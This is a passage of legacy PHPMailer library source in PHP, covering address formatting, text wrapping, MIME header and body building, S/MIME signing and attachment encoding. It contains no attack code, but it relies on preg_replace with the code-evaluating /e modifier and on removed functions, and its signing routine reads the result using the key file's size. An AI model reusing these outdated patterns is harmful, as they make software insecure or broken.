  2013. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2014. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2015. include($lang_path.'phpmailer.lang-en.php');
  2016. } else {
  2017. $this->SetError('Could not load language file');
  2018. return false;
  2019. }
  2020. $this->language = $PHPMAILER_LANG;
  2021.  
  2022. return true;
  2023. }
  2024.  
  2025. /////////////////////////////////////////////////
  2026. // METHODS, MESSAGE CREATION
  2027. /////////////////////////////////////////////////
  2028.  
  2029. /**
  2030. * Creates recipient headers.
  2031. * @access private
  2032. * @return string
  2033. */
  2034. function AddrAppend($type, $addr) {
  2035. $addr_str = $type . ': ';
  2036. $addr_str .= $this->AddrFormat($addr[0]);
  2037. if(count($addr) > 1) {
  2038. for($i = 1; $i < count($addr); $i++) {
  2039. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2040. }
  2041. }
  2042. $addr_str .= $this->LE;
  2043.  
  2044. return $addr_str;
  2045. }
  2046.  
  2047. /**
  2048. * Formats an address correctly.
  2049. * @access private
  2050. * @return string
  2051. */
  2052. function AddrFormat($addr) {
  2053. if(empty($addr[1])) {
  2054. $formatted = $this->SecureHeader($addr[0]);
  2055. } else {
  2056. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2057. }
  2058.  
  2059. return $formatted;
  2060. }
  2061.  
  2062. /**
  2063. * Wraps message for use with mailers that do not
  2064. * automatically perform wrapping and for quoted-printable.
  2065. * Original written by philippe.
  2066. * @access private
  2067. * @return string
  2068. */
  2069. function WrapText($message, $length, $qp_mode = false) {
  2070. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2071. // If utf-8 encoding is used, we will need to make sure we don't
  2072. // split multibyte characters when we wrap
  2073. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2074.  
  2075. $message = $this->FixEOL($message);
  2076. if (substr($message, -1) == $this->LE) {
  2077. $message = substr($message, 0, -1);
  2078. }
  2079.  
  2080. $line = explode($this->LE, $message);
  2081. $message = '';
  2082. for ($i=0 ;$i < count($line); $i++) {
  2083. $line_part = explode(' ', $line[$i]);
  2084. $buf = '';
  2085. for ($e = 0; $e<count($line_part); $e++) {
  2086. $word = $line_part[$e];
  2087. if ($qp_mode and (strlen($word) > $length)) {
  2088. $space_left = $length - strlen($buf) - 1;
  2089. if ($e != 0) {
  2090. if ($space_left > 20) {
  2091. $len = $space_left;
  2092. if ($is_utf8) {
  2093. $len = $this->UTF8CharBoundary($word, $len);
  2094. } elseif (substr($word, $len - 1, 1) == "=") {
  2095. $len--;
  2096. } elseif (substr($word, $len - 2, 1) == "=") {
  2097. $len -= 2;
  2098. }
  2099. $part = substr($word, 0, $len);
  2100. $word = substr($word, $len);
  2101. $buf .= ' ' . $part;
  2102. $message .= $buf . sprintf("=%s", $this->LE);
  2103. } else {
  2104. $message .= $buf . $soft_break;
  2105. }
  2106. $buf = '';
  2107. }
  2108. while (strlen($word) > 0) {
  2109. $len = $length;
  2110. if ($is_utf8) {
  2111. $len = $this->UTF8CharBoundary($word, $len);
  2112. } elseif (substr($word, $len - 1, 1) == "=") {
  2113. $len--;
  2114. } elseif (substr($word, $len - 2, 1) == "=") {
  2115. $len -= 2;
  2116. }
  2117. $part = substr($word, 0, $len);
  2118. $word = substr($word, $len);
  2119.  
  2120. if (strlen($word) > 0) {
  2121. $message .= $part . sprintf("=%s", $this->LE);
  2122. } else {
  2123. $buf = $part;
  2124. }
  2125. }
  2126. } else {
  2127. $buf_o = $buf;
  2128. $buf .= ($e == 0) ? $word : (' ' . $word);
  2129.  
  2130. if (strlen($buf) > $length and $buf_o != '') {
  2131. $message .= $buf_o . $soft_break;
  2132. $buf = $word;
  2133. }
  2134. }
  2135. }
  2136. $message .= $buf . $this->LE;
  2137. }
  2138.  
  2139. return $message;
  2140. }
  2141.  
  2142. /**
  2143. * Finds last character boundary prior to maxLength in a utf-8
  2144. * quoted (printable) encoded string.
  2145. * Original written by Colin Brown.
  2146. * @access private
  2147. * @param string $encodedText utf-8 QP text
  2148. * @param int $maxLength find last character boundary prior to this length
  2149. * @return int
  2150. */
  2151. function UTF8CharBoundary($encodedText, $maxLength) {
  2152. $foundSplitPos = false;
  2153. $lookBack = 3;
  2154. while (!$foundSplitPos) {
  2155. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2156. $encodedCharPos = strpos($lastChunk, "=");
  2157. if ($encodedCharPos !== false) {
  2158. // Found start of encoded character byte within $lookBack block.
  2159. // Check the encoded byte value (the 2 chars after the '=')
  2160. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2161. $dec = hexdec($hex);
  2162. if ($dec < 128) { // Single byte character.
  2163. // If the encoded char was found at pos 0, it will fit
  2164. // otherwise reduce maxLength to start of the encoded char
  2165. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2166. $maxLength - ($lookBack - $encodedCharPos);
  2167. $foundSplitPos = true;
  2168. } elseif ($dec >= 192) { // First byte of a multi byte character
  2169. // Reduce maxLength to split at start of character
  2170. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2171. $foundSplitPos = true;
  2172. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2173. $lookBack += 3;
  2174. }
  2175. } else {
  2176. // No encoded character found
  2177. $foundSplitPos = true;
  2178. }
  2179. }
  2180. return $maxLength;
  2181. }
  2182.  
  2183. /**
  2184. * Set the body wrapping.
  2185. * @access private
  2186. * @return void
  2187. */
  2188. function SetWordWrap() {
  2189. if($this->WordWrap < 1) {
  2190. return;
  2191. }
  2192.  
  2193. switch($this->message_type) {
  2194. case 'alt':
  2195. /* fall through */
  2196. case 'alt_attachments':
  2197. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2198. break;
  2199. default:
  2200. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2201. break;
  2202. }
  2203. }
  2204.  
  2205. /**
  2206. * Assembles message header.
  2207. * @access private
  2208. * @return string
  2209. */
  2210. function CreateHeader() {
  2211. $result = '';
  2212.  
  2213. /* Set the boundaries */
  2214. $uniq_id = md5(uniqid(time()));
  2215. $this->boundary[1] = 'b1_' . $uniq_id;
  2216. $this->boundary[2] = 'b2_' . $uniq_id;
  2217.  
  2218. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2219. if($this->Sender == '') {
  2220. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2221. } else {
  2222. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2223. }
  2224.  
  2225. /* To be created automatically by mail() */
  2226. if($this->Mailer != 'mail') {
  2227. if(count($this->to) > 0) {
  2228. $result .= $this->AddrAppend('To', $this->to);
  2229. } elseif (count($this->cc) == 0) {
  2230. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2231. }
  2232. if(count($this->cc) > 0) {
  2233. $result .= $this->AddrAppend('Cc', $this->cc);
  2234. }
  2235. }
  2236.  
  2237. $from = array();
  2238. $from[0][0] = trim($this->From);
  2239. $from[0][1] = $this->FromName;
  2240. $result .= $this->AddrAppend('From', $from);
  2241.  
  2242. /* sendmail and mail() extract Cc from the header before sending */
  2243. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2244. $result .= $this->AddrAppend('Cc', $this->cc);
  2245. }
  2246.  
  2247. /* sendmail and mail() extract Bcc from the header before sending */
  2248. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2249. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2250. }
  2251.  
  2252. if(count($this->ReplyTo) > 0) {
  2253. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2254. }
  2255.  
  2256. /* mail() sets the subject itself */
  2257. if($this->Mailer != 'mail') {
  2258. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2259. }
  2260.  
  2261. if($this->MessageID != '') {
  2262. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2263. } else {
  2264. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2265. }
  2266. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2267. $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2268.  
  2269. if($this->ConfirmReadingTo != '') {
  2270. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2271. }
  2272.  
  2273. // Add custom headers
  2274. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2275. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2276. }
  2277. if (!$this->sign_key_file) {
  2278. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2279. $result .= $this->GetMailMIME();
  2280. }
  2281.  
  2282. return $result;
  2283. }
  2284.  
  2285. /**
  2286. * Returns the message MIME.
  2287. * @access private
  2288. * @return string
  2289. */
  2290. function GetMailMIME() {
  2291. $result = '';
  2292. switch($this->message_type) {
  2293. case 'plain':
  2294. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2295. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2296. break;
  2297. case 'attachments':
  2298. /* fall through */
  2299. case 'alt_attachments':
  2300. if($this->InlineImageExists()){
  2301. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2302. } else {
  2303. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2304. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2305. }
  2306. break;
  2307. case 'alt':
  2308. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2309. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2310. break;
  2311. }
  2312.  
  2313. if($this->Mailer != 'mail') {
  2314. $result .= $this->LE.$this->LE;
  2315. }
  2316.  
  2317. return $result;
  2318. }
  2319.  
  2320. /**
  2321. * Assembles the message body. Returns an empty string on failure.
  2322. * @access private
  2323. * @return string
  2324. */
  2325. function CreateBody() {
  2326. $result = '';
  2327. if ($this->sign_key_file) {
  2328. $result .= $this->GetMailMIME();
  2329. }
  2330.  
  2331. $this->SetWordWrap();
  2332.  
  2333. switch($this->message_type) {
  2334. case 'alt':
  2335. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2336. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2337. $result .= $this->LE.$this->LE;
  2338. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2339. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2340. $result .= $this->LE.$this->LE;
  2341. $result .= $this->EndBoundary($this->boundary[1]);
  2342. break;
  2343. case 'plain':
  2344. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2345. break;
  2346. case 'attachments':
  2347. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2348. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2349. $result .= $this->LE;
  2350. $result .= $this->AttachAll();
  2351. break;
  2352. case 'alt_attachments':
  2353. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2354. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2355. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2356. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2357. $result .= $this->LE.$this->LE;
  2358. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2359. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2360. $result .= $this->LE.$this->LE;
  2361. $result .= $this->EndBoundary($this->boundary[2]);
  2362. $result .= $this->AttachAll();
  2363. break;
  2364. }
  2365.  
  2366. if($this->IsError()) {
  2367. $result = '';
  2368. } else if ($this->sign_key_file) {
  2369. $file = tempnam("", "mail");
  2370. $fp = fopen($file, "w");
  2371. fwrite($fp, $result);
  2372. fclose($fp);
  2373. $signed = tempnam("", "signed");
  2374.  
  2375. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2376. $fp = fopen($signed, "r");
  2377. $result = fread($fp, filesize($this->sign_key_file));
  2378. fclose($fp);
  2379. } else {
  2380. $this->SetError($this->Lang("signing").openssl_error_string());
  2381. $result = '';
  2382. }
  2383.  
  2384. unlink($file);
  2385. unlink($signed);
  2386. }
  2387.  
  2388. return $result;
  2389. }
  2390.  
  2391. /**
  2392. * Returns the start of a message boundary.
  2393. * @access private
  2394. */
  2395. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2396. $result = '';
  2397. if($charSet == '') {
  2398. $charSet = $this->CharSet;
  2399. }
  2400. if($contentType == '') {
  2401. $contentType = $this->ContentType;
  2402. }
  2403. if($encoding == '') {
  2404. $encoding = $this->Encoding;
  2405. }
  2406. $result .= $this->TextLine('--' . $boundary);
  2407. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2408. $result .= $this->LE;
  2409. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2410. $result .= $this->LE;
  2411.  
  2412. return $result;
  2413. }
  2414.  
  2415. /**
  2416. * Returns the end of a message boundary.
  2417. * @access private
  2418. */
  2419. function EndBoundary($boundary) {
  2420. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2421. }
  2422.  
  2423. /**
  2424. * Sets the message type.
  2425. * @access private
  2426. * @return void
  2427. */
  2428. function SetMessageType() {
  2429. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2430. $this->message_type = 'plain';
  2431. } else {
  2432. if(count($this->attachment) > 0) {
  2433. $this->message_type = 'attachments';
  2434. }
  2435. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2436. $this->message_type = 'alt';
  2437. }
  2438. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2439. $this->message_type = 'alt_attachments';
  2440. }
  2441. }
  2442. }
  2443.  
  2444. /* Returns a formatted header line.
  2445. * @access private
  2446. * @return string
  2447. */
  2448. function HeaderLine($name, $value) {
  2449. return $name . ': ' . $value . $this->LE;
  2450. }
  2451.  
  2452. /**
  2453. * Returns a formatted mail line.
  2454. * @access private
  2455. * @return string
  2456. */
  2457. function TextLine($value) {
  2458. return $value . $this->LE;
  2459. }
  2460.  
  2461. /////////////////////////////////////////////////
  2462. // CLASS METHODS, ATTACHMENTS
  2463. /////////////////////////////////////////////////
  2464.  
  2465. /**
  2466. * Adds an attachment from a path on the filesystem.
  2467. * Returns false if the file could not be found
  2468. * or accessed.
  2469. * @param string $path Path to the attachment.
  2470. * @param string $name Overrides the attachment name.
  2471. * @param string $encoding File encoding (see $Encoding).
  2472. * @param string $type File extension (MIME) type.
  2473. * @return bool
  2474. */
  2475. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2476. if(!@is_file($path)) {
  2477. $this->SetError($this->Lang('file_access') . $path);
  2478. return false;
  2479. }
  2480.  
  2481. $filename = basename($path);
  2482. if($name == '') {
  2483. $name = $filename;
  2484. }
  2485.  
  2486. $cur = count($this->attachment);
  2487. $this->attachment[$cur][0] = $path;
  2488. $this->attachment[$cur][1] = $filename;
  2489. $this->attachment[$cur][2] = $name;
  2490. $this->attachment[$cur][3] = $encoding;
  2491. $this->attachment[$cur][4] = $type;
  2492. $this->attachment[$cur][5] = false; // isStringAttachment
  2493. $this->attachment[$cur][6] = 'attachment';
  2494. $this->attachment[$cur][7] = 0;
  2495.  
  2496. return true;
  2497. }
  2498.  
  2499. /**
  2500. * Attaches all fs, string, and binary attachments to the message.
  2501. * Returns an empty string on failure.
  2502. * @access private
  2503. * @return string
  2504. */
  2505. function AttachAll() {
  2506. /* Return text of body */
  2507. $mime = array();
  2508.  
  2509. /* Add all attachments */
  2510. for($i = 0; $i < count($this->attachment); $i++) {
  2511. /* Check for string attachment */
  2512. $bString = $this->attachment[$i][5];
  2513. if ($bString) {
  2514. $string = $this->attachment[$i][0];
  2515. } else {
  2516. $path = $this->attachment[$i][0];
  2517. }
  2518.  
  2519. $filename = $this->attachment[$i][1];
  2520. $name = $this->attachment[$i][2];
  2521. $encoding = $this->attachment[$i][3];
  2522. $type = $this->attachment[$i][4];
  2523. $disposition = $this->attachment[$i][6];
  2524. $cid = $this->attachment[$i][7];
  2525.  
  2526. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2527. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2528. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2529.  
  2530. if($disposition == 'inline') {
  2531. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2532. }
  2533.  
  2534. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2535.  
  2536. /* Encode as string attachment */
  2537. if($bString) {
  2538. $mime[] = $this->EncodeString($string, $encoding);
  2539. if($this->IsError()) {
  2540. return '';
  2541. }
  2542. $mime[] = $this->LE.$this->LE;
  2543. } else {
  2544. $mime[] = $this->EncodeFile($path, $encoding);
  2545. if($this->IsError()) {
  2546. return '';
  2547. }
  2548. $mime[] = $this->LE.$this->LE;
  2549. }
  2550. }
  2551.  
  2552. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2553.  
  2554. return join('', $mime);
  2555. }
  2556.  
  2557. /**
  2558. * Encodes attachment in requested format. Returns an
  2559. * empty string on failure.
  2560. * @access private
  2561. * @return string
  2562. */
  2563. function EncodeFile ($path, $encoding = 'base64') {
  2564. if(!@$fd = fopen($path, 'rb')) {
  2565. $this->SetError($this->Lang('file_open') . $path);
  2566. return '';
  2567. }
  2568. $magic_quotes = get_magic_quotes_runtime();
  2569. set_magic_quotes_runtime(0);
  2570. $file_buffer = fread($fd, filesize($path));
  2571. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2572. fclose($fd);
  2573. set_magic_quotes_runtime($magic_quotes);
  2574.  
  2575. return $file_buffer;
  2576. }
  2577.  
  2578. /**
  2579. * Encodes string to requested format. Returns an
  2580. * empty string on failure.
  2581. * @access private
  2582. * @return string
  2583. */
  2584. function EncodeString ($str, $encoding = 'base64') {
  2585. $encoded = '';
  2586. switch(strtolower($encoding)) {
  2587. case 'base64':
  2588. /* chunk_split is found in PHP >= 3.0.6 */
  2589. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2590. break;
  2591. case '7bit':
  2592. case '8bit':
  2593. $encoded = $this->FixEOL($str);
  2594. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2595. $encoded .= $this->LE;
  2596. break;
  2597. case 'binary':
  2598. $encoded = $str;
  2599. break;
  2600. case 'quoted-printable':
  2601. $encoded = $this->EncodeQP($str);
  2602. break;
  2603. default:
  2604. $this->SetError($this->Lang('encoding') . $encoding);
  2605. break;
  2606. }
  2607. return $encoded;
  2608. }
  2609.  
  2610. /**
  2611. * Encode a header string to best of Q, B, quoted or none.
  2612. * @access private
  2613. * @return string
  2614. */
  2615. function EncodeHeader ($str, $position = 'text') {
  2616. $x = 0;
  2617.  
  2618. switch (strtolower($position)) {
  2619. case 'phrase':
  2620. if (!preg_match('/[\200-\377]/', $str)) {
  2621. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2622. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2623. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2624. return ($encoded);
  2625. } else {
  2626. return ("\"$encoded\"");
  2627. }
  2628. }
  2629. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2630. break;
  2631. case 'comment':
  2632. $x = preg_match_all('/[()"]/', $str, $matches);
  2633. /* Fall-through */
  2634. case 'text':
  2635. default:
  2636. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2637. break;
  2638. }
  2639.  
  2640. if ($x == 0) {
  2641. return ($str);
  2642. }
  2643.  
  2644. $maxlen = 75 - 7 - strlen($this->CharSet);
  2645. /* Try to select the encoding which should produce the shortest output */
  2646. if (strlen($str)/3 < $x) {
  2647. $encoding = 'B';
  2648. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2649. // Use a custom function which correctly encodes and wraps long
  2650. // multibyte strings without breaking lines within a character
  2651. $encoded = $this->Base64EncodeWrapMB($str);
  2652. } else {
  2653. $encoded = base64_encode($str);
  2654. $maxlen -= $maxlen % 4;
  2655. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2656. }
  2657. } else {
  2658. $encoding = 'Q';
  2659. $encoded = $this->EncodeQ($str, $position);
  2660. $encoded = $this->WrapText($encoded, $maxlen, true);
  2661. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2662. }
  2663.  
  2664. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2665. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2666.  
  2667. return $encoded;
  2668. }
  2669.  
  2670. /**
  2671. * Checks if a string contains multibyte characters.
  2672. * @access private
  2673. * @param string $str multi-byte text to wrap encode
  2674. * @return bool
  2675. */
  2676. function HasMultiBytes($str) {
  2677. if (function_exists('mb_strlen')) {
  2678. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2679. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2680. return False;
  2681. }
  2682. }
  2683.  
  2684. /**
  2685. * Correctly encodes and wraps long multibyte strings for mail headers
  2686. * without breaking lines within a character.
  2687. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2688. * @access private
  2689. * @param string $str multi-byte text to wrap encode
  2690. * @return string
  2691. */
  2692. function Base64EncodeWrapMB($str) {
  2693. $start = "=?".$this->CharSet."?B?";
  2694. $end = "?=";
  2695. $encoded = "";
  2696.  
  2697. $mb_length = mb_strlen($str, $this->CharSet);
  2698. // Each line must have length <= 75, including $start and $end
  2699. $length = 75 - strlen($start) - strlen($end);
  2700. // Average multi-byte ratio
  2701. $ratio = $mb_length / strlen($str);
  2702. // Base64 has a 4:3 ratio
  2703. $offset = $avgLength = floor($length * $ratio * .75);
  2704.  
  2705. for ($i = 0; $i < $mb_length; $i += $offset) {
  2706. $lookBack = 0;
  2707.  
  2708. do {
  2709. $offset = $avgLength - $lookBack;
  2710. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2711. $chunk = base64_encode($chunk);
  2712. $lookBack++;
  2713. }
  2714. while (strlen($chunk) > $length);
  2715.  
  2716. $encoded .= $chunk . $this->LE;
  2717. }
  2718.  
  2719. // Chomp the last linefeed
  2720. $encoded = substr($encoded, 0, -strlen($this->LE));
  2721. return $encoded;
  2722. }
  2723.  
  2724. /**
  2725. * Encode string to quoted-printable.
  2726. * @access private
  2727. * @return string
  2728. */
  2729. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2730. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2731. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2732. $eol = "\r\n";
  2733. $escape = '=';
  2734. $output = '';
  2735. while( list(, $line) = each($lines) ) {
  2736. $linlen = strlen($line);
  2737. $newline = '';
  2738. for($i = 0; $i < $linlen; $i++) {
  2739. $c = substr( $line, $i, 1 );
  2740. $dec = ord( $c );
  2741. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2742. $c = '=2E';
  2743. }
  2744. if ( $dec == 32 ) {
  2745. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2746. $c = '=20';
  2747. } else if ( $space_conv ) {
  2748. $c = '=20';
  2749. }
  2750. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2751. $h2 = floor($dec/16);
  2752. $h1 = floor($dec%16);
  2753. $c = $escape.$hex[$h2].$hex[$h1];
  2754. }
  2755. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2756. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2757. $newline = '';
  2758. // check if newline first character will be point or not
  2759. if ( $dec == 46 ) {
  2760. $c = '=2E';
  2761. }
  2762. }
  2763. $newline .= $c;
  2764. } // end of for
  2765. $output .= $newline.$eol;
  2766. } // end of while
  2767. return trim($output);
  2768. }
  2769.  
  2770. /**
  2771. * Encode string to q encoding.
  2772. * @access private
  2773. * @return string
  2774. */
  2775. function EncodeQ ($str, $position = 'text') {
  2776. /* There should not be any EOL in the string */
  2777. $encoded = preg_replace("[\r\n]", '', $str);
  2778.  
  2779. switch (strtolower($position)) {
  2780. case 'phrase':
  2781. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2782. break;
  2783. case 'comment':
  2784. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2785. case 'text':
  2786. default:
  2787. /* Replace every high ascii, control =, ? and _ characters */
  2788. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2789. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2790. break;
  2791. }
  2792.  
  2793. /* Replace every spaces to _ (more readable than =20) */
  2794. $encoded = str_replace(' ', '_', $encoded);
  2795.  
  2796. return $encoded;
  2797. }
  2798.  
  2799. /**
  2800. * Adds a string or binary attachment (non-filesystem) to the list.
  2801. * This method can be used to attach ascii or binary data,
  2802. * such as a BLOB record from a database.
  2803. * @param string $string String attachment data.
  2804. * @param string $filename Name of the attachment.
  2805. * @param string $encoding File encoding (see $Encoding).
  2806. * @param string $type File extension (MIME) type.
  2807. * @return void
  2808. */
  2809. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2810. /* Append to $attachment array */
  2811. $cur = count($this->attachment);
  2812. $this->attachment[$cur][0] = $string;
  2813. $this->attachment[$cur][1] = $filename;
  2814. $this->attachment[$cur][2] = $filename;
  2815. $this->attachment[$cur][3] = $encoding;
  2816. $this->attachment[$cur][4] = $type;
  2817. $this->attachment[$cur][5] = true; // isString
  2818. $this->attachment[$cur][6] = 'attachment';
  2819. $this->attachment[$cur][7] = 0;
  2820. }
  2821.  
  2822. /**
  2823. * Adds an embedded attachment. This can include images, sounds, and
  2824. * just about any other document. Make sure to set the $type to an
  2825. * image type. For JPEG images use "image/jpeg" and for GIF images
  2826. * use "image/gif".
  2827. * @param string $path Path to the attachment.
  2828. * @param string $cid Content ID of the attachment. Use this to identify
  2829. * the Id for accessing the image in an HTML form.
  2830. * @param string $name Overrides the attachment name.
  2831. * @param string $encoding File encoding (see $Encoding).
  2832. * @param string $type File extension (MIME) type.
  2833. * @return bool
  2834. */
  2835. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2836.  
  2837. if(!@is_file($path)) {
  2838. $this->SetError($this->Lang('file_access') . $path);
  2839. return false;
  2840. }
  2841.  
  2842. $filename = basename($path);
  2843. if($name == '') {
  2844. $name = $filename;
  2845. }
  2846.  
  2847. /* Append to $attachment array */
  2848. $cur = count($this->attachment);
  2849. $this->attachment[$cur][0] = $path;
  2850. $this->attachment[$cur][1] = $filename;
  2851. $this->attachment[$cur][2] = $name;
  2852. $this->attachment[$cur][3] = $encoding;
  2853. $this->attachment[$cur][4] = $type;
  2854. $this->attachment[$cur][5] = false;
  2855. $this->attachment[$cur][6] = 'inline';
  2856. $this->attachment[$cur][7] = $cid;
  2857.  
  2858. return true;
  2859. }
  2860.  
  2861. /**
  2862. * Returns true if an inline attachment is present.
  2863. * @access private
  2864. * @return bool
  2865. */
  2866. function InlineImageExists() {
  2867. $result = false;
  2868. for($i = 0; $i < count($this->attachment); $i++) {
  2869. if($this->attachment[$i][6] == 'inline') {
  2870. $result = true;
  2871. break;
  2872. }
  2873. }
  2874.  
  2875. return $result;
  2876. }
  2877.  
  2878. /////////////////////////////////////////////////
  2879. // CLASS METHODS, MESSAGE RESET
  2880. /////////////////////////////////////////////////
  2881.  
  2882. /**
  2883. * Clears all recipients assigned in the TO array. Returns void.
  2884. * @return void
  2885. */
  2886. function ClearAddresses() {
  2887. $this->to = array();
  2888. }
  2889.  
  2890. /**
  2891. * Clears all recipients assigned in the CC array. Returns void.
  2892. * @return void
  2893. */
  2894. function ClearCCs() {
  2895. $this->cc = array();
  2896. }
  2897.  
  2898. /**
  2899. * Clears all recipients assigned in the BCC array. Returns void.
  2900. * @return void
  2901. */
  2902. function ClearBCCs() {
  2903. $this->bcc = array();
  2904. }
  2905.  
  2906. /**
  2907. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2908. * @return void
  2909. */
  2910. function ClearReplyTos() {
  2911. $this->ReplyTo = array();
  2912. }
  2913.  
  2914. /**
  2915. * Clears all recipients assigned in the TO, CC and BCC
  2916. * array. Returns void.
  2917. * @return void
  2918. */
  2919. function ClearAllRecipients() {
  2920. $this->to = array();
  2921. $this->cc = array();
  2922. $this->bcc = array();
  2923. }
  2924.  
  2925. /**
  2926. * Clears all previously set filesystem, string, and binary
